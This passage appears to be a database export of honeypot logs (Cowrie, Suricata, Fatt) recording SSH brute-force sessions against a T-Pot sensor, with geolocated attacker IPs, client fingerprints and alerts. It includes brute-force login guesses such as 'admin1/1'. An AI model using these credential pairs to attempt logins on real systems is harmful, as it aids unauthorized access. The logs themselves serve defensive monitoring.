"2021-09-20T11:58:01.498Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33990	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:01.80506+03	2021-09-20 15:00:06.556032+03	{"_id": "iQYRA3wBvYTbRNuE-lJK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:01.805060Z", "@timestamp": "2021-09-20T11:58:01.805Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33991	183.17.231.81	109.199.241.180	Suricata	2021-09-20 14:58:01.797086+03	2021-09-20 15:00:06.557032+03	{"_id": "iwYRA3wBvYTbRNuE-1J1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "183.17.231.81", "dest_ip": "192.168.20.116", "flow_id": 267045887929840, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 41108, "dest_port": 22, "timestamp": "2021-09-20T11:58:01.797086Z", "@timestamp": "2021-09-20T11:58:01.797Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33992	183.17.231.81	109.199.241.180	Fatt	2021-09-20 14:58:01.8044+03	2021-09-20 15:00:06.558032+03	{"_id": "jQYRA3wBvYTbRNuE_FKC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "183.17.231.81", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 41108, "dest_port": 22, "timestamp": "2021-09-20T11:58:01.804400", "@timestamp": "2021-09-20T11:58:01.804Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33993	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:03.101969+03	2021-09-20 15:00:06.559032+03	{"_id": "jgYRA3wBvYTbRNuE_lIz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.login.success", "message": "login attempt [admin1/1] succeeded", "session": "7468c9710c83", "@version": "1", "password": "1", "username": "admin1", "timestamp": "2021-09-20T11:58:03.101969Z", "@timestamp": "2021-09-20T11:58:03.101Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
33994	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:03.997509+03	2021-09-20 15:00:06.560032+03	{"_id": "lgYSA3wBvYTbRNuEAlIb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "bc991ff2412e", "@version": "1", "timestamp": "2021-09-20T11:58:03.997509Z", "@timestamp": "2021-09-20T11:58:03.997Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33995	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:03.700375+03	2021-09-20 15:00:06.56204+03	{"_id": "lwYSA3wBvYTbRNuEAlIb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "bc991ff2412e", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:58:03.700375Z", "@timestamp": "2021-09-20T11:58:03.700Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33996	183.17.231.81	109.199.241.180	Suricata	2021-09-20 14:58:03.994358+03	2021-09-20 15:00:06.563052+03	{"_id": "mAYSA3wBvYTbRNuEA1JH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "183.17.231.81", "dest_ip": "192.168.20.116", "flow_id": 324482485656745, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 41264, "dest_port": 22, "timestamp": "2021-09-20T11:58:03.994358Z", "@timestamp": "2021-09-20T11:58:03.994Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33997	183.17.231.81	109.199.241.180	Fatt	2021-09-20 14:58:03.996886+03	2021-09-20 15:00:06.564046+03	{"_id": "mwYSA3wBvYTbRNuEBFJT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "183.17.231.81", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 41264, "dest_port": 22, "timestamp": "2021-09-20T11:58:03.996886", "@timestamp": "2021-09-20T11:58:03.996Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33998	172.217.169.170	109.199.241.180	Suricata	2021-09-20 14:58:04.630148+03	2021-09-20 15:00:06.565045+03	{"_id": "nAYSA3wBvYTbRNuEB1Iw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:58:04.416180+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "172.217.169.170", "asn": 15169, "as_org": "Google Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "172.217.169.170", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 468230746167732, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 35222, "timestamp": "2021-09-20T11:58:04.630148Z", "@timestamp": "2021-09-20T11:58:04.630Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
33999	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:05.323984+03	2021-09-20 15:00:06.567045+03	{"_id": "ngYSA3wBvYTbRNuECVLt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "bc991ff2412e", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T11:58:05.323984Z", "@timestamp": "2021-09-20T11:58:05.323Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
34000	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:17.723577+03	2021-09-20 15:00:06.568045+03	{"_id": "-QYSA3wBvYTbRNuEOFLZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "183.17.231.81", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "7468c9710c83", "@version": "1", "duration": 0.602696418762207, "duplicate": true, "timestamp": "2021-09-20T11:58:17.723577Z", "@timestamp": "2021-09-20T11:58:17.723Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
34001	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 14:58:17.419644+03	2021-09-20 15:00:06.569045+03	{"_id": "-wYSA3wBvYTbRNuEOFLZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "6c2b9e855b18", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:58:17.419644Z", "@timestamp": "2021-09-20T11:58:17.419Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
34002	43.240.6.90	109.199.241.180	Suricata	2021-09-20 14:58:17.728999+03	2021-09-20 15:00:06.570045+03	{"_id": "AAYSA3wBvYTbRNuEOlMA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:58:17.106654+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "43.240.6.90", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2104280426848414, "payload": "AAADzAYUhWeERHgHumREC5ZKW0DqxAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45956, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:58:17.728999Z", "@timestamp": "2021-09-20T11:58:17.728Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......g.Dx..dD..J[@.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
34003	43.240.6.90	109.199.241.180	Fatt	2021-09-20 14:58:17.728999+03	2021-09-20 15:00:06.572046+03	{"_id": "AQYSA3wBvYTbRNuEO1ML", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "43.240.6.90", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": 